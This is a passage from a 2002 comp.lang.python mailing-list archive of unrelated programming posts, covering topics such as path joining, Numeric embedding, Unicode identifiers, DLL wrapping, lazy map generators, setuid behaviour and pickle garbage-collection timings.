2002 From: zopestoller at thomas-guettler.de (Thomas Guettler) Date: Thu, 23 May 2002 13:24:23 +0200 Subject: os.path.join() necessary? Message-ID: <3CECD167.9020107@thomas-guettler.de> Hi! Is os.path.join() necessary? I use absolute_path=dir + "/" + file on windows (W2K) without problems. thomas From pyth at devel.trillke.net Thu May 16 12:59:17 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 16 May 2002 18:59:17 +0200 Subject: how to determine an 'open' string? In-Reply-To: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BB3@hendrix.empolisuk.com>; from hst@empolis.co.uk on Thu, May 16, 2002 at 04:59:00PM +0100 References: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BB3@hendrix.empolisuk.com> Message-ID: <20020516185917.J28033@prim.han.de> Harvey Thomas wrote: > > asd"""askdjalsdk # open > > aksdjasd # closed > > asjdkk"kajsd'''' # open > > "'asdasd" # closed > > """dontcountoneven" # open > > > > Any working ideas? > > > > holger > > > I think this is OK > > import re > > rex = re.compile('"""|\'\'\'|"|\'') > > def quotecompleted(str): > global rex > f = rex.findall(str) > lf = len(f) > if lf < 2: #the trivial cases > return lf > else: > cmp = f[0] > i = 1 > while i < lf: > if cmp == f[i]: > if i + 1 == lf: > return 0 > else: > cmp = f[i + 1] > i += 2 > else: > i += 1 > return 1 i think that's it. very nice! i might try to shorten it a bit, though :-) thanks, holger From look at replyto.address.invalid Thu May 23 20:18:25 2002 From: look at replyto.address.invalid (Greg Ewing) Date: Fri, 24 May 2002 12:18:25 +1200 Subject: OT: off-topic References: Message-ID: <3CED86D1.1D997148@replyto.address.invalid> Andrew Dalke wrote: > > Plus, all it really says is "interesting" doen't have a closed cover. > The values of interesting can approach but never be 0 ("uninteresting") > and for any positive value of "interesting" you can always find a > number which is less interesting than that. Seems to me it's pulling a fast one by not having a rigorous definition of "interesting". The only way to make it work is to define "interesting" in a way that's self-contradictory. So it's just your standard self-contradiction paradox in another guise. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From mkelly2002 at adelphia.net Wed May 29 14:33:31 2002 From: mkelly2002 at adelphia.net (Michael Kelly) Date: Wed, 29 May 2002 14:33:31 -0400 Subject: Dealing with OLE error References: <1103_1022598643@news.nildram.co.uk> <1103_1022609792@news.nildram.co.uk> Message-ID: On Tue, 28 May 2002 14:16:32 -0400, John Moore wrote: > Thanks, I'll do this if I can't get any further with the aim of somehow getting this information directly out of the COM > object. I think on http://msdn.microsoft.com someplace or even on www.techvanguards.com there's a breakdown of the different bit fields of the HRESULT. Just FYI. I've never been ambitious enough to memorize 'em. :) -- "Only choice is an oxymoron." From shredwheat at attbi.com Tue May 21 01:06:00 2002 From: shredwheat at attbi.com (Pete Shinners) Date: Tue, 21 May 2002 05:06:00 GMT Subject: Embedding a Numeric array in C References: Message-ID: <3CE9D56C.1090007@attbi.com> Chris Fonnesbeck wrote: > I am trying to find out how to properly embed a Numeric array type in > C. The following code compiles, but segfaults when run: > > #include > #include > #include > > int main() { > > PyObject *pmod; > char *cstr; > Py_Initialize(); > > pmod = PyImport_ImportModule("Numeric"); > Py_DECREF(pmod); > return 0; > > } in your "init" function, you need to make a call to "import_array()". import_array is actually a 'magic macro' that does a sort of "runtime linking" in python. if you do not make this call, all the C functions from Numeric will only be NULL (and hence a crash) no need for the PyImpoert_ImportModule() From cliechti at gmx.net Sat May 11 10:56:03 2002 From: cliechti at gmx.net (Chris Liechti) Date: 11 May 2002 16:56:03 +0200 Subject: Multibyte Character Surport for Python References: Message-ID: "Neil Hodgson" wrote in news:rv_C8.115301$o66.340615 at news-server.bigpond.net.au: > Chris Liechti: > >> > And good, descriptive names are one of the bedrocks of >> > good software. >> >> true, but how i'm supposed to use the nice chinese module which uses >> class names i can't even type on my keyboard? > > You can type Chinese names on your keyboard using a Chinese Input > Method > Editor. I run Windows 2000 in an Australian English locale, but when I > want to type Japanese change to the Japanese IME which is quite easy > to use. i know i've played around with it. but that does not change the fact that i'm still unable to type a specific character because i don't know any chinese at all. all i could do is copy&paste of such names... chris -- Chris From whisper at oz.net Tue May 21 03:58:13 2002 From: whisper at oz.net (David LeBlanc) Date: Tue, 21 May 2002 00:58:13 -0700 Subject: Couple of Qs: ActiveState or "standard" distribution? (and GUI toolkits) In-Reply-To: Message-ID: > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Chris > Sent: Tuesday, May 21, 2002 0:11 > To: python-list at python.org > Subject: Couple of Qs: ActiveState or "standard" distribution? (and GUI > toolkits) > > > A couple of newbie questions (for the future, right now I am speedking > through Learning Python): > > 1) Is there any compelling reason for choosing an installer from > python.org > instead of the ActiveState distribution for my Windoze machine? I have > both, and they seem quite similar, right down to the editor and GUI > shell... The difference between AS Python and Python.org Python are: * AS Python includes PythonWin. PythonWin is available separately for python.org Python. * AS includes a Windows Scripting Host interface that is not otherwise available anywhere AFAIK. * AS distribution can't be redistributed under the terms of it's license without permission. So, if you want to do Python scripts/macros in Excel or Word (or IE?), you'll need to get AS Python. If that's not so important to you, then it's either or... If you want to bundle a Python distro with an app and redistribute it, python.org Python is the only choice compared to AS Python (there are, or where, other distros of Python - see www.pythonware.com for one). My choice has to been to lean towards what I see as the more open solution of python.org Python and the separate PythonWin distribution. > 2) What graphic toolkit should I use? I see talk about TKInter, wxPython > etc etc. I have a few criterion: I'd rather not learn another language > (TCL?) at the same time, I'll be primarily developing for use on Windows, > though being able to move cross-platform would be cool, I'd like > something > that is in active development. Where should I start? It's a toss-up IMO. Tkinter tends to have more docs available, both "the" tkinter book and tcl books and more apps done in it (Tcl isn't hard to learn, but i'm biased since I used it for over 5 years before switching to Python and I think it's a warm fuzzy 'lil critter). You also don't really have to learn Tcl to program tkinter. WxPython seems to have the edge on performance and "in the box" features (although, there are a number of excellent addons for tkinter, among them tix and blt, that (again, IMO) make that less compelling). One definite advantage of tkinter is that it comes with the python distro, no matter who you get it from. WxWindows and therefore WxPython is undergoing more development, while tkinter is based on a far more mature codebase (which is still being actively developed - at least the Tk part of Tkinter). Dave LeBlanc Seattle, WA USA From peter at engcorp.com Mon May 6 20:10:12 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 May 2002 20:10:12 -0400 Subject: Readable Perl (was Re: Python vs. Perl, which is better to learn?) References: <3CD60E05.D9D8C1A6@engcorp.com> <3CD623A7.4EE48B14@engcorp.com> Message-ID: <3CD71B64.3A1E5614@engcorp.com> George Demmy wrote: > > Peter Hansen writes: > > More out of curiosity than an intention of starting a flame war, but > > would someone post a snippet of twenty or so lines of Perl which they > > believe is "readable"? > > > This is a link to a bunch of perl code that is really quite readable, > IMHO. > > http://www.dnalounge.com/backstage/src/ Thanks very much George. I was especially interested in the switcher-cmd.pl file, since it is similar in general purpose to many pieces of Python code we've written here (interfacing with external equipment via serial ports, parsing commands...). I have to say that is the least ugly Perl code I've ever seen. I was going to say "prettiest" but I really can't bring myself to say that. The line noise just makes it so much more difficult to parse at a glance. Maybe if I were a more experienced Perl programmer I would agree that it's "readable", but I can only say that in comparison to Python, I still find that code very hard to absorb without staring at every few lines hard for many seconds. With Python I can skim through a file that size in ten or twenty seconds and have a basic idea how to navigate it. I can glance at a function for a few seconds and pretty much know what it is expected to do. I can review a couple of lines of code in a few seconds and generally be confident it is written correctly. With the Perl code, those numbers go up almost an order of magnitude (for me). But it is very impressive, for Perl code. My compliments to the author. Any perceived lack of readability is clearly the language's (and reader's) fault, not the author's. -Peter From duncan at NOSPAMrcp.co.uk Fri May 31 04:07:16 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Fri, 31 May 2002 08:07:16 +0000 (UTC) Subject: semi-concatenated strings References: Message-ID: Chris Liechti wrote in news:Xns921EEEC6D92A7cliechtigmxnet at 62.2.16.82: > i think the example is in the docs. e.g. when you want to comment on a > complicated string, like an regex: > > re.compile("([ab])+" #group one (at least one occurence of either a > or b) > "(hello)*" #group two (optional) > ) In this case you could also put the comments inside a single string which may or may not make it more readable: r = re.compile(''' ([ab])+ #group one (at least one occurence of either a or b) (hello)* #group two (optional)''', re.VERBOSE) -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From aleax at aleax.it Thu May 2 11:26:23 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 15:26:23 GMT Subject: NEWBIE QUESTIION: Comparing Lists in Python References: Message-ID: Mark McEahern wrote: > [Alex Martelli] >> The way to get O(N) behavior is to construct auxiliary dictionaries: >> >> dict1 = dict(zip(list1,list1)) >> returnList2 = [x for x in list2 if x not in dict1] >> >> "x not in C" takes O(N) time if container C is a sequence with N >> elements, but (roughly) O(1) time if C is a dictionary. Building a >> dictionary of N items is roughly O(N). > > Alex, thanks for the zip tip. I don't usually reach for that particular > hammer--this usage broadens my horizons. You're welcome! > I whipped together the program below to time the difference between a raw > compare and a compare with an auxiliary dictionary (in the program I > contrast these two approaches as raw and zip). It seems that with a small > list size (10-100), the performance boost of the zip is negligible? *yes*! The performance boost is actually with the *dict* -- the zip is just part of the O(N) price you _pay_ to get the big-O-boost. It being a big-O-boost, it starts showing up for "large enough" lists -- and only measurement can practically determine what's "large enough" in one particular case. > $ time_not_in.py 100 10 > raw: 0.004 seconds. > zip: 0.001 seconds. looks like 300% better in this case -- not too bad after all, although describing it as "negligible" may generally be correct. Still, if I could speed up every program by a "negligible" four times I might not mind too much:-). > $ time_not_in.py 1000 100 > raw: 0.394 seconds. > zip: 0.010 seconds. Here, the speedup of about 40 times (4000% or so) I would not describe as "negligible" any more. Matter of taste, I guess. > $ time_not_in.py 10000 1000 > raw: 44.949 seconds. > zip: 0.176 seconds. I'm glad we seem to agree that a speedup by a few hundred times (tens of thousands percent) is NOT negligible:-). Alex From cook at pyzine.com Thu May 9 12:52:34 2002 From: cook at pyzine.com (Bryan Richard) Date: Thu, 09 May 2002 16:52:34 GMT Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> Message-ID: <3cdaa645.261079192@news.newsguy.com> On Thu, 09 May 2002 12:55:05 GMT, Alex Martelli wrote: >Perhaps, but I think you're right. The web is great, but printed >paper is anything but dead. No idea what it would take for a >40/60-pages glossy PyZine to break even in terms of number of >copies sold per issues, subscriptions, ads, periodicity, prices. > >But IF it could manage to balance these variables and break even >(including paying modest but reasonable amounts for the time spent >putting it together), I think it would surely help Python reach >more people. full glossy would most likely require an influx of cash from an outside source. with the printers i've talked to in the past couple of months, just adding a glossy cover to the first issue would have nearly doubled the printing cost and add two weeks to the lead time. i'm just not that far ahead yet and given the sad state of the magazine industry right now i doubt anyone wants to buy in. you don't make a lot (if any) from the newsstands. it's more to sweeten the deal for advertisers and the world of Python advertising seems somewhat thin. that, being said, if i start now with the drafting of a plan for a full ramp-up to 40 pages, distributed, in early 2003 i think i can get there. thanks, alex. From rajat at cs.utexas.edu Tue May 7 12:23:33 2002 From: rajat at cs.utexas.edu (Rajat Chopra) Date: Tue, 7 May 2002 11:23:33 -0500 Subject: Python DLL Woes Message-ID: Hello, I have a DLL with some functions that allow me to connect to a database and issue queries and so forth. The DLL itself is written in C++ and I have written code in C++ (and C) to utilize the functions within the DLL to connect & manipulate the database. I have a need to wrap the functions in the DLL using Python. I am employing the standard methodology (found in the Python DOCS) and following the templates I have written in C/C++ to wrap each function in the DLL. However, when I run my Python module I get an error which is perplexing. In C++, I do: handle = (HINSTANCE) LoadLibrary("SlgxApi.dll"); typedef LPBYTE (CALLBACK* SLAPI_LOGGEDIN) (void); SLAPI_LOGGEDIN LoggedIn; LoggedIn = (SLAPI_LOGGEDIN)GetProcAddress(handle, "slapi_LoggedIn"); boolResult = (BOOL) LoggedIn(); This works fine for this and all other functions directly in C++. My C++ wrapper to be used by Python, is almost identical: static PyObject *slgx_LoggedIn(PyObject *self, PyObject *args) { handle = (HINSTANCE) LoadLibrary("SlgxApi.dll"); typedef LPBYTE (CALLBACK* SLAPI_LOGGEDIN) (void); SLAPI_LOGGEDIN LoggedIn; LoggedIn = (SLAPI_LOGGEDIN)GetProcAddress(handle, "slapi_LoggedIn"); boolResult = (BOOL) LoggedIn(); } While I didn't show all the C++ Wrapper code, when I export the wrapper and execute it within Python, I get the following error: ERROR --> Could not find entry point for slapi_LoggedIn I don't know why I am getting this error and don't really know what would be causing it. I'd appreciate any help on your part. (Also, I want to use the C++ wrapper approach rather than CALLDLL by Sam Rushing because there are some type-specific issues that are most easily resolvable using the C++ wrapper). Thanks, Rajat From stephen at xemacs.org Thu May 9 07:03:04 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 09 May 2002 20:03:04 +0900 Subject: Multibyte Character Surport for Python References: Message-ID: <87pu05mvmf.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Alex" == Alex Martelli writes: Alex> But I still say "allegretto ma non troppo" in the field of Alex> music, "ils sont fous ces Romains" when I read Asterix Alex> comics (in the original -- why use translations when I'm Alex> lucky enough to be able to enjoy the original French), and Alex> "flip-flop" (rather than "multioscillatore bistabile") in Alex> electronic circuits. And so do my Japanese students, at least for "allegretto" and "flip-flop"---because those are _Japanese words_. My students are mostly what we call "bunka-kei" (what Americans would call the "arts" side of "arts and sciences"); they hate math and the idea that you tell the computer what to do rather than the other way around is quite a shock. But one thing they can all do is write Japanese in "Roma characters" ---and they do. In their programs. Universally (required course), except for a very few who intend to go into either foreign companies or foreign graduate schools. And the bunka-kei all hate programming. Not to mention that when they _do_ use English words for identifiers, they're often semantically incorrect (because Japanese has altered the meaning since borrowing them)! And highly prone to typos, because students often forget whether they wrote the English spelling or some Japanese approximation when they introduced the identifier. Is it really so wrong to give my students a language where they're able to use words that encourage comfortable expression? That don't forcibly remind them that this is an alien activity from outer space? Given that most of them are not going to write programs again for many years? And the ones that do are going to proceed to write programs using Japanese identifiers _anyway_ (unless they're lucky enough to have you or somebody like you around to enforce sane practices)? Alex> It matters not a whit *WHICH* language it is, it does matter Alex> that it be ONE language, not hundreds and thousands. In Alex> practice that one language isn't Latin any more (in most Alex> fields of endeavour) but English. Fine, whatever. As long Alex> as it's ONE. Agreed. Except that a decade from now Chinese might be the ONE. Then we'll be glad we have hanzi identifiers, as Python sweeps the CJK world.<0.9 wink> Alex> Whatever I can do (which is not much at all) against Alex> anything furthering the _fragmentation_ (as opposed to, Alex> cultural diversity within helpful and peaceful cooperation, Alex> which is *great*!) of humanity, I will. I am convinced that Alex> encouraging the use of a zillion different nautral languages Alex> in programs is a terrible idea Agreed, but ... Alex> and I earnestly hope Python does nothing at all to _help_ it. ... is it really worth sacrificing the ability to introduce more non-programmers to programming to avoid "helping fragmentation" by 25% over what those who want localized identifiers already can do? -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN From gerhard at bigfoot.de Wed May 8 04:21:10 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 8 May 2002 08:21:10 GMT Subject: Using functional tools References: <3CD39DAD.D5BC3F9C@vip.fi> <82znzgaw4x.fsf@acropolis.localdomain> <82sn58avea.fsf@acropolis.localdomain> <7934d084.0205071606.65f928a0@posting.google.com> Message-ID: Andrae Muys wrote in comp.lang.python: > def xmap(func, *args): > iterlist = [iter(arg) for arg in args] > while 1: > yield func(*[itr.next() for itr in iterlist]) Incidentally, yesterday I tried to come up with a little functional utility library for myself. My xmap looks quite a lot the same ;-) But in order to be compatible with map, I had to add a special case for func is None, which I never used in my own code. This is the module: def xmap(func, *seqs): """A lazy map.""" # map defaults to the identity function if func is None: if func is None: func = lambda x: x iters = map(iter, seqs) while 1: yield func(*map(lambda x: x.next(), iters)) def xzip(*seqs): """A lazy zip.""" iters = map(iter, seqs) while 1: # The .next() method on the curiter raises a StopIteration exception # when it runs out of items. We don't catch it, so it automagically # stops our generator. yield tuple([curiter.next() for curiter in iters]) def permutations(items): """Yields all permutations of the items.""" if items == []: yield [] else: for i in range(len(items)): for j in permutations(items[:i] + items[i+1:]): yield [items[i]] + j def combinations(items, k=None): """Yields all k-combinations of items.""" if k is None: k = len(items) if k == 0: yield [] else: for i in items: for j in combinations(items, k-1): yield [i] + j Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From ludovic_nospam_ at fotin.net Sun May 12 18:07:13 2002 From: ludovic_nospam_ at fotin.net (Ludovic Fotin) Date: Mon, 13 May 2002 00:07:13 +0200 Subject: converting types References: Message-ID: > hi i know its a pain answering newbie questions > that to you lot seem really simple No matter i'm a newbie too !!! > num = "list is " + number + " long" try this : number = len(list) num = "list is %s long" % number print num Look in the man the fonction with %. There is different use. %s (numeric) %d (string) etc... Bye Ludo From shalehperry at attbi.com Mon May 13 17:26:44 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Mon, 13 May 2002 14:26:44 -0700 (PDT) Subject: beginner question: extending python types In-Reply-To: Message-ID: On 13-May-2002 Uwe Mayer wrote: > Hi, > > I am totally new to python and was about to start programming when more > and more questions upon "how to do it actually" came up. > > My problem: I want do write classes which behave like algebraic > structures, i.e. a group, a field or vector space and then want to work > on them. > have you looked at Numeric? Lots of this stuff has been implemented before. Now if you are looking to implement it so you can learn, fine. > To my first question: > I know I can overwrite built-in operations like add with, f.e. __add__() > methods, but can I add new f.e. postfix operators like "!" (facculty: n! > = 1*2*3*4*...*n)?` > you can not define new operators (most overloading systems do not allow this). n.factorial() or answer = factorial(n). > To my last question for now: > I want to force certain parameters of methods to be of a specific type, > so that when I expect a set I'll get a set or a sub-class thereoff. How > to I controll that? Use the type() function and raise an IllegalType > exception otherwise? > yep. From jicman at cinops.xerox.com Wed May 8 17:39:57 2002 From: jicman at cinops.xerox.com (Jose Isaias Cabrera) Date: Wed, 8 May 2002 17:39:57 -0400 Subject: TIF join utility References: <91o5ih$2kv$1@news.wrc.xerox.com> <20001219172933.B29727@ActiveState.com> Message-ID: <001f01c1f6d8$e664a950$2ec4e70d@mountain.dssc.mc.xerox.com> Anyone has played joining two TIFs? Any code available? thanks, jos? From tom_verbeure at hotmail.com Thu May 2 14:47:33 2002 From: tom_verbeure at hotmail.com (Tom Verbeure) Date: 2 May 2002 11:47:33 -0700 Subject: Perl-like backtick in Python Message-ID: Hi All, In Perl i can do something like this: $str = `cat myfile.in`; Basically the string that is surrounded by the backticks is executed by a shell and the stdout is returned as a string. In the python library, there is spawn*, exec* and system, but the return the exit status of the command, not the output. Any suggestions about who to do this? Thanks, Tom From rajat at cs.utexas.edu Tue May 7 14:14:42 2002 From: rajat at cs.utexas.edu (Rajat Chopra) Date: 7 May 2002 11:14:42 -0700 Subject: Python DLL Woes Message-ID: Hello, I have a DLL with some functions that allow me to connect to a database and issue queries and so forth. The DLL itself is written in C++ and I have written code in C++ (and C) to utilize the functions within the DLL to connect & manipulate the database. I have a need to wrap the functions in the DLL using Python. I am employing the standard methodology (found in the Python DOCS) and following the templates I have written in C/C++ to wrap each function in the DLL. However, when I run my Python module I get an error which is perplexing. In C++, I do: handle = (HINSTANCE) LoadLibrary("SlgxApi.dll"); typedef LPBYTE (CALLBACK* SLAPI_LOGGEDIN) (void); SLAPI_LOGGEDIN LoggedIn; LoggedIn = (SLAPI_LOGGEDIN)GetProcAddress(handle, "slapi_LoggedIn"); boolResult = (BOOL) LoggedIn(); This works fine for this and all other functions directly in C++. My C++ wrapper to be used by Python, is almost identical: static PyObject *slgx_LoggedIn(PyObject *self, PyObject *args) { handle = (HINSTANCE) LoadLibrary("SlgxApi.dll"); typedef LPBYTE (CALLBACK* SLAPI_LOGGEDIN) (void); SLAPI_LOGGEDIN LoggedIn; LoggedIn = (SLAPI_LOGGEDIN)GetProcAddress(handle, "slapi_LoggedIn"); boolResult = (BOOL) LoggedIn(); } While I didn't show all the C++ Wrapper code, when I export the wrapper and execute it within Python, I get the following error: ERROR --> Could not find entry point for slapi_LoggedIn I don't know why I am getting this error and don't really know what would be causing it. I'd appreciate any help on your part. (Also, I want to use the C++ wrapper approach rather than CALLDLL by Sam Rushing because there are some type-specific issues that are most easily resolvable using the C++ wrapper). Thanks, Rajat From sean.mcgrath at propylon.com Sun May 19 05:47:20 2002 From: sean.mcgrath at propylon.com (Sean McGrath) Date: Sun, 19 May 2002 10:47:20 +0100 Subject: Exponential time increase in garbage collection In-Reply-To: <20020518143837.A31031@glacier.arctrix.com> References: <5.1.0.14.0.20020518175555.036e7eb0@mail.digitome.com> <20020518160006.23202.88409.Mailman@mail.python.org> <5.1.0.14.0.20020518175555.036e7eb0@mail.digitome.com> Message-ID: <5.1.0.14.0.20020519103419.03709cb0@mail.digitome.com> At 14:38 18/05/2002 -0700, Neil Schemenauer wrote: >Why you think the time is spent in GC? It sounds like the malloc >implementation is trying to defragment memory on free(). The current GC >has quadratic cost while allocating objects but it does not for >deallocating objects. Can you try adding "gc.disable()" to the >beginning of your program and see if the problem goes away? I'm seeing curious figures (included below). Basically, Python 1.5.2 exhibits a big difference in deletion time for objects loaded via cPickle as opposed to pickle.py enabling/disabling gc with Python 2.1.3 does not make any appreciable difference. However, delete performance in 2.1.3 seems significantly worse than what I'm seeing with Python 1.5.2 (30 seconds against 5 seconds). I know that the ideal situation here would be a standalone test case that I could post but I'm struggling with that one on a number of fronts:-) The figures I'm seeing:- Python 2.1.3 load objects with pickle module: gc enabled: Load Time : 63 Delete Time : 31 gc disabled: Load Tine : 63 Delete Time : 32 load objects with cPickle module: gc enabled: Load Time : 42 Delete Time : 32 gc disabled: Load Time : 40 Delete Time : 32 Python 1.5.2: load objects with pickle module: Load Time : 80 Delete Time : 5 (!!!!!!!!!!!!!!!!) load with cPickle module: Load Time : 40 Delete Time : 43 Has the pickle format changed from 1.5.2 to 2.1.3? Is the fact that the pickles where created with cPickle 1.5.2 skewing things I wonder? regards, Sean From insaney at ufl.edu Tue May 7 09:33:10 2002 From: insaney at ufl.edu (Daniel) Date: 7 May 2002 06:33:10 -0700 Subject: os.seteuid Message-ID: <40a8aa92.0205070533.6899c84f@posting.google.com> I'm new at this, so maybe I've just got it all wrong, but I have a python script owned by root:root with chmod +s. Should this script be able to set-uid/gid/euid/egid or anything? The script fails at changing any of these to anything else. Help? ~ Daniel $ ls -al testing2 -rwsr-sr-x 1 root root 205 May 7 09:10 testing2 $ cat testing2 #!/usr/bin/python2 import os print os.getgid(),os.getegid(),os.getuid(),os.geteuid() print os.getgroups() os.seteuid(0) $ ./testing2 48 48 48 48 [48] Traceback (most recent call last): File "./testing2", line 5, in ? os.seteuid(0) OSError: [Errno 1] Operation not permitted if useful... running RH linux 7.2... have tried python 2.2 and python 1.5.2 (without print os.getgroups() line) From jepler at unpythonic.net Tue May 28 15:22:11 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Tue, 28 May 2002 14:22:11 -0500 Subject: re In-Reply-To: <3CF3CDB9.A1416BF3@millfilm.co.uk> References: <3CF3CDB9.A1416BF3@millfilm.co.uk> Message-ID: <20020528142206.U17765@unpythonic.net> On Tue, May 28, 2002 at 07:34:33PM +0100, Eric Texier wrote: > Well, I am not completly new at python but some module (no mater what > language: it started with sed) > are impossible to get a good grab on: > > I am trying to do replace '#' with a number in string with some control > over the padding: > > a = 'echo file#.sgi file#~3.sgi file#~5*2.sgi' > > ex: with 3 > newString = "file3.sgi file003.sgi file00006.sgi" > > > # -> number > #~x -> number with some 0 in front for padding > #*2+3 -> number * 2 + 3 etc... > > If this is trivial for one of you, I will appreciate your help a lot. > > Thanks. import re You can use the RE module to find your replacement pattern. A suitable regular expression would be pat = re.compile("#(~[0-9]+)?(\\*[0-9]+)?") Then, you can use the following class to perform the replacement: class Replacer: def __init__(self, n): self.n = n def __call__(self, match): n = self.n if match.group(1): # was the width specified? fmt = "%%0%sd" % (match.group(1)[1:]) else: fmt = "%d" if match.group(2): # was the multiplier group specified? n = n * int(match.group(2)[1:]) return fmt % n Does it work? >>> pat.sub(Replacer(3), "echo file#.sgi file#~3.sgi file#~5*2.sgi") 'echo file3.sgi file003.sgi file00006.sgi' To understand how the program works, you'll need to read the doc sections on Regular Expression syntax and objects, Match objects, understand classes and the __call__ special method. Instead of using a Replacer class, there are other ways of writing it. For instance, def replacer(match, n): # almost like __call__ above n = 3 pat.sub(lambda match, n=n: replacer(match, n), ...) Or, with nested scopes (2.2 and higher): pat.sub(lambda match: replacer(match, n), ...) It's up to you whether the 'class' approach is better. I believe it is, because you can easily put additional information inside the class instance (a default width, perhaps? a flag to use a hex or octal number?) and because classes are a much more important concept than 'lambda's. Jeff From claird at starbase.neosoft.com Wed May 22 14:27:52 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 22 May 2002 13:27:52 -0500 Subject: Precedence (was: "One Bullet is never enough" Paper) References: <3CE5AFD3.32D59F@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> Message-ID: In article <3CE9BC7F.A3565ADE at tundraware.com>, Tim Daneliuk wrote: . [tons of important stuff, all worth arguing more] . . >1A) Even pretty compelling new language implementations cannot really > guarantee lock. For its time, at least in commercial practice, > Visual Basic was a terrific innovation, particularly from the > perspective of programmer productivity. (Bear in mind that this > is a *relative* judgement - VB was a huge step up from the GUI > coding environments which it replaced.) But as compelling as the > IT organizations found VB, it did not, on the whole, prevent them > from using other language technologies, not did it materially > prevent the adoption of "new" languages like perl or TCL. Similarly, > Python itself is making great inroads into "pure Microsoft" shops. . . . Small technical clarification, for those who don't know the field as well as Tim: 1987: Perl born. spring 1988: first version of Tcl applied. February 1991: Guido first publicly releases Python. May 1991: Visual Basic 1.0 released. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From timr at probo.com Mon May 20 02:38:22 2002 From: timr at probo.com (Tim Roberts) Date: Sun, 19 May 2002 23:38:22 -0700 Subject: telnetlib/socket NT to unix References: <2c71728a.0205170529.5c71a20e@posting.google.com> Message-ID: <696heuo6dakvfoak328t8ej4hlqrfe29lg@4ax.com> cdelarue at bigfoot.com (Christophe Delarue) wrote: >I am trying to use the telnetlib to connect onto a sun machine : >import telnetlib >t = telnetlib.Telnet() >t.open("134.64.118.175",23) >-> time out occurs ! at the self.sock.connect((host,port)) > >I tried it through a normal telnet : > >If I send a Start->run->telnet, ask a connection to the same host, the >connection is ok. > >Is there anybody have a solution to my pb ? > >I'am under NT4.0 and python2.1 There is a bug in the NT 4.0 implementation of gethostbyname that prevents it from correctly translating a numeric IP address specified as a string. If the machine has a name, use the name. If not, add a fake name in \winnt\system32\drivers\etc\hosts: 134.64.118.175 sunxxx1 Then use this: t.open("sunxxx1",23) Alternatively, you could upgrade to Windows 2000. It is much better. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From kragen at pobox.com Fri May 24 13:43:30 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 24 May 2002 13:43:30 -0400 Subject: little question References: <4aNC8.26326$CN3.810152@news2.tin.it> <409a56e2.0205130656.642acf89@posting.google.com> <409a56e2.0205212351.6ce4a5c6@posting.google.com> Message-ID: <83vg9dl9vh.fsf@panacea.canonical.org> shagshag13 at yahoo.fr (Shagshag) writes: > As i'm still a newbie in python, comments are welcome. > ... > documents = {} > > documents[0] = 'pease porridge hot pease porridge cold' > documents[1] = 'pease porridge in the pot' > documents[2] = 'nine days old' > documents[3] = 'some like it hot some like it cold' > documents[4] = 'some like it in the pot' > documents[5] = 'nine days old' I'd write this whole stretch here as documents = ['pease porridge hot pease porridge cold', 'pease porridge in the pot', 'nine days old', 'some like it hot some like it cold', 'some like it in the pot', 'nine days old'] This turns documents from a dict into a list. > invertedIndex = InvertedIndex() > > for i in range(len(documents)): And I wouldn't do this with a dict; I'd say documents.keys() instead of range(len(documents)). But turning it into a list is better. > terms = documents[i].split() > added = [] I think 'added' should be a dict, at which point you can use not added.has_key(t) instead of t not in added (although t not in added will still work in recent Pythons) and added[t] = 1 instead of added.append(t). For your sample documents, it doesn't matter, but for documents with more than a few hundred words, you'll spend all your time scanning the 'added' list otherwise. > for t in terms: > node = PostingListNode(i, terms.count(t)) Similarly, terms.count() has to scan terms from beginning to end; I would instead use a dict to count the number of times each term is found in 'terms' and then actually add things to the invertedIndex after the end of this loop, in another loop over the contents of that dict. > class PostingListNode: > def __init__(self, documentID, information = None): You only instantiate PostingListNodes in one place, and that place always supplies 'information', so you don't need the default parameter. > def __str__(self): > s = '(' + str(self._documentID) + ', ' + str(self._information) + ')' > return s How about 'return str((self.getDocumentID(), self.getInformation()))'? Frankly, though, I'd be inclined to just use (documentID, information) tuples instad of defining a class. > def add(self, element, node): > try: > i = self._hash[element] > self._container[i].append(node) > print "Adding word in node list=[%s]" % (element) > except KeyError: > print "Adding new word=[%s] i=[%s]" % (element, self._n) > self._hash[element] = self._n > self._list.append(element) > self._container.append([node]) > self._n = self._n + 1 Why don't you just store the lists of nodes that are in _container directly in the hash instead? It would shorten add() considerably, make get_nodes one line long, and __str__ could just return something like str(self._hash). > def get_nodes(self, element): > try: > i = self._hash[element] > return self._container[i] > except KeyError: > return None Your caller here is going to be expecting a list in the normal case. Why is it better to return None instead of raising an exception in the abnormal case? I can see that it might be better to return [], but None? From aahz at pythoncraft.com Tue May 7 23:49:52 2002 From: aahz at pythoncraft.com (Aahz) Date: 7 May 2002 23:49:52 -0400 